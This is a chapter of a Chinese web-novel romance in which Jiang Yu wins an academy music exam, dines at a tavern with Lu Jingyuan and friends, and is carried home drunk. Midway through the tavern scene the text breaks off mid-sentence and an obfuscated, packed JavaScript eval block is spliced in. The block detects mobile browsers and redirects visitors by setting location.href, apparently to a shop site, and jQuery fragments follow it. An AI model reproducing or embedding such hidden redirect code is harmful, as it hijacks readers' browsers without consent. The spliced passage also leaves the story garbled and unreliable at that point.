陆惊渊目光从未从她身上挪开。
最后一缕琴音袅袅散去,却如同余音绕梁,三日不绝。
江渝缓缓起身,将鬓边碎发别至耳后,动作从容。
她面向夫子,躬身献礼,落落大方。少女唇角噙着淡笑,明媚而张扬。
万众瞩目,她就这样站在阳光下,不施粉黛,却比春光还要耀眼。
夫子赞许道:“好曲!”
掌声从四面八方响起,坐在墙头的陆惊渊也悄悄为她鼓掌。
她生在京城深院,长于闺阁之中,又怎会懂边塞将士的艰苦。他原以为,她不过是寻个不同的路子剑走偏锋,不会有这般真切的体悟。
可一曲听完,他却觉得,江渝似乎是亲身经历过。
经历过烽火四起的西郡,去过塞外荒芜的漠北,见过九死一生的厮杀。
他眸色沉沉,盯着她挺拔的身影,心底翻涌着说不清道不明的情绪。
果不其然,江渝拿下女院结业考学的第一,遥遥领先。
宣布结果后,她收拾东西和夫子、同窗告别。
江芷一言不发地离开,脸色铁青。
快走到书院门口,有人忽然拦住了她。
“江渝,恭喜你啊,”宋仪笑道,“今日结业,晚上去不去酒楼?”
“酒楼?”江渝微微睁大眼。
“我可是好不容易邀到了陆成舟……”宋仪神色不自然地开口,“我怕他不去,你能不能帮我拉上陆惊渊?兄长在,陆成舟就一定会去。”
江渝:“……”
原来邀她去酒楼,是想请她帮忙。
横竖宋仪今后都要嫁入陆家,不过是顺手推舟罢了。
她无奈地答应:“好,但陆惊渊大概逃学去了,不在书院,我可找不到他。”
“不在书院?”宋仪摸了摸后脑勺,疑惑,“可我分明看见,你在弹琴的时候,陆惊渊一直在墙头看你啊。”
江渝一怔。
他居然一直在墙头偷偷看她?
陆惊渊的意思,不是今日要逃课休息吗?
她的脑海中不禁浮现出画面。
少年叼着野草,吊儿郎当地坐在墙头,目光却落在她身上。
江渝小声问:“那……你可知道,他现在在何处?”
宋仪刚想摇头,可像是看见了什么,冲角落招手:“陆小将军!”
江渝回头,发现花树下躲了一个人。
陆惊渊无奈地从暗处走来,看她的眼神却频频躲闪,像是做了什么亏心事一般。
江渝觉得好笑:“你干嘛见我就躲?”
“小爷行事,轮不到你管。”
江渝斜他一眼。
陆惊渊:“你怎么突然会弹琴了?”
江渝奇怪:“我不是一直都会弹琴吗?”
陆惊渊摇头:“可你之前并未弹过战曲。”
江渝脸色微红,撒谎:“临时学的。”
陆惊渊思考:“我不信,你因我学的?”
江渝瞪他一眼:“你想多了。”
说完,她气鼓鼓地就要往外走,险些把去酒楼的事情忘了。
宋仪急得出了一身汗,赶紧跑去拉她的衣袖。
江渝才如梦初醒,点了点头。
她干咳一声,扭扭捏捏地走到陆惊渊面前,抬眼问他:“今日结业,去不去酒楼?”
陆惊渊问:“你去酒楼作甚?”
“你不是喜欢去吗?”
陆惊渊冷嗤一声:“你是个大善人,分明是要帮人家的忙,哪是真情实意地邀我去。”
江渝被他无情拆穿,面色一红。
她本以为会听到陆惊渊的拒绝之词,却没想到,他背着手,一摇一晃地走到自己面前,俯身哼笑道:“行,走吧。”
宋仪大喜,对江渝投去感激的目光。
江渝也太仗义了。
-
如意酒楼,临窗雅间。
楼下吵吵嚷嚷,桌案上酒菜琳琅满目。
众人围坐。
陆成舟率先开口:“兄长,为何今日要在酒楼小聚?”
陆惊渊:“江渝要我来,我便来了。”
陆成舟:“那为何他们也来了?”
他将目光放在来蹭吃蹭喝的孙满堂和柳扶风身上。
孙满堂刚吃了个大肘子,含糊着解释:“我们是为了保护老大,二公子别误会。”
柳扶风则一言不发,专注地埋头苦吃。
关于这场聚会的来由,陆成舟瞥了宋仪一眼,心底已有了数。
宋仪往陆成舟边上靠了靠。
陆成舟不动声色地挪开。
宋仪瘪嘴,放弃了抵抗:“二公子,你理理我,你瞧陆小将军和江渝,多黏糊啊。”
陆成舟淡淡道:“是吗?”
宋仪才发现,她方才是在睁着眼说瞎话。
对面坐着的江渝和陆惊渊却是另一番光景。二人筷箸总在半空“短兵相接”,江渝习惯用右手,陆惊渊则是个左撇子。
江渝上辈子忍了他一世这毛病,这回她开门见山:“你的筷子能不能拿远点?”
说完,她伸筷去夹那碟刚端上来的水晶虾饺。
下一瞬,陆惊渊的筷子便抢先一步截走,还得意地在她面前晃了晃:“急什么,这水晶虾饺归我了。”
江渝气得牙痒,这人不爱吃虾饺,分明是故意的!
陆惊渊放下筷箸,低头喝汤。
江渝:“你喝汤能不能别出那么大声?”
上一世,她越是嫌弃他粗鄙,他越是故意为之。
陆惊渊充耳不闻,反口道:“大小姐,讲究不能当饭吃。”
两人你一言我一语,拌嘴声越来越大。
江渝往边上挪了挪。
陆惊渊又往她那边靠了靠。
这下,筷子又打起架了。
陆成舟也看不下去了:“兄长,你莫再欺负她。今后成婚,日子还长着。”
陆惊渊置之不理。
江渝刚要发作,却见陆惊渊在底下偷偷往她手里塞了什么东西。
“你作甚?”
他挑眉,低声道:“看你喜欢吃桃花酥,赏你的。”
江渝低头看向手里精致的食盒,闷声不说话了。
雅间里,欢笑声、碰杯声,混着从没听过的拌嘴声,此起彼伏。一盏大红灯笼高悬,照亮无尽的黑夜。远处是千家灯火,长安开了夜市,更给长夜添了几分热闹。
……
“再来一杯!”
宋仪摇摇晃晃地起身,还要往嘴里灌酒,“喝,不喝不够痛快!”
陆成舟也喝了不少,此时也开始发昏,劝她:“宋姑娘,切莫再喝,喝酒伤身。”
宋仪早已烂醉如泥,嚷嚷着要往陆成舟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125029|196025||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身上靠。
江渝也喝了不少,只闷头喝酒。
陆成舟无奈道:“宋姑娘,我送你回去。”
宋仪喜道:“真的啊?那你能不能扶我?”
陆成舟:“不可以。”
孙满堂和柳扶风本就是醉鬼,此时喝得正尽兴,趴在地上玩叶子牌。
“赢了!终于赢了!”
陆惊渊下楼结账,却发现江渝也跟了过来。
结账完,少年俯身问:“喝了多少?”
“没多少。”
“还能走吗?”
“不能走。”
“那怎么办?”陆惊渊颇有些苦恼。
一阵酒意上涌,少女脚步虚浮,一把攥住了陆惊渊的衣袖。她抬起一张醉醺醺的脸,尾音拖得绵长:“你背我回去。”
这话一出,陆惊渊猛地僵住,显然是吓了一跳。
下一秒,他的耳根便腾地烧了起来,连脸颊都发烫。他手足无措地看着她勾住他衣袖的手指,本想把她推开,说句“男女授受不亲”的话。
可他转念一想,马上就要当夫妻了,在意这些作甚?
看着她醉眼朦胧的模样,他一句话都说不出来,只觉得心脏跳得厉害,就连看她一眼也不敢。
别看她脸不红心不跳,其实醉得毫无征兆!
“你这么嫌弃我?”江渝显然是恼了,“就连背我也不愿?”
陆惊渊:“……”
“你明明之前会背我回家的!”
陆惊渊:“?”
他什么时候背过江渝回家了?
江渝抱着他的手臂摇晃个不停,她眼尾泛红,哼道:“你不背我,我就蹲这儿不走了,反正大街上人多——”
说着她还真要往下蹲,一副耍赖的模样。
“陆惊渊,就背我一回嘛,我腿软,走不动了……”
陆惊渊实在是招架不住了。
他终究是拗不过江渝撒娇的伎俩,别过脸:“上来。”
他弯下腰,江渝得意地趴在他的脊背上。
陆惊渊双手扶住她的腰,生怕她摔着。二人出了酒楼,在大街上慢慢地走去。
“你回江府?”陆惊渊问。
“我不想回去。”
陆惊渊想起,她今日是逃出去的,若是被姨娘正抓着,定没个好果子吃。
背上的少女小声说:“陆惊渊,你把我偷偷地送回去吧。”
横竖,她也没处可去了。
月色溶溶,夜风拂过。
马车上挂着夜灯,停在巷口。
江渝依稀记得,陆惊渊在前世,也会这样背自己很久。
那是一次,自己和他吵了一架,破天荒地跑去酒楼喝酒,被他带回来。
大街很长,风也很冷。
她趴在他的背上,一步一步,稳得安心。
可当他出征北疆、音讯全无的时候,她偶尔也会想起这桩事来。
回忆涌上,江渝难免哽咽,喃喃道:“陆惊渊。”
周遭轻悄悄的,只有轻缓的脚步声。二人的影子被拉得很长,叠在长街石板路上。
陆惊渊听见了这句,垂下眼睫。
他沉默着没开口,江渝又叫唤了句。
“夫君……”少女的声音夹杂在风中,有些听不明晰,“你早点来娶我。”
夫君。
陆惊渊脚步一顿。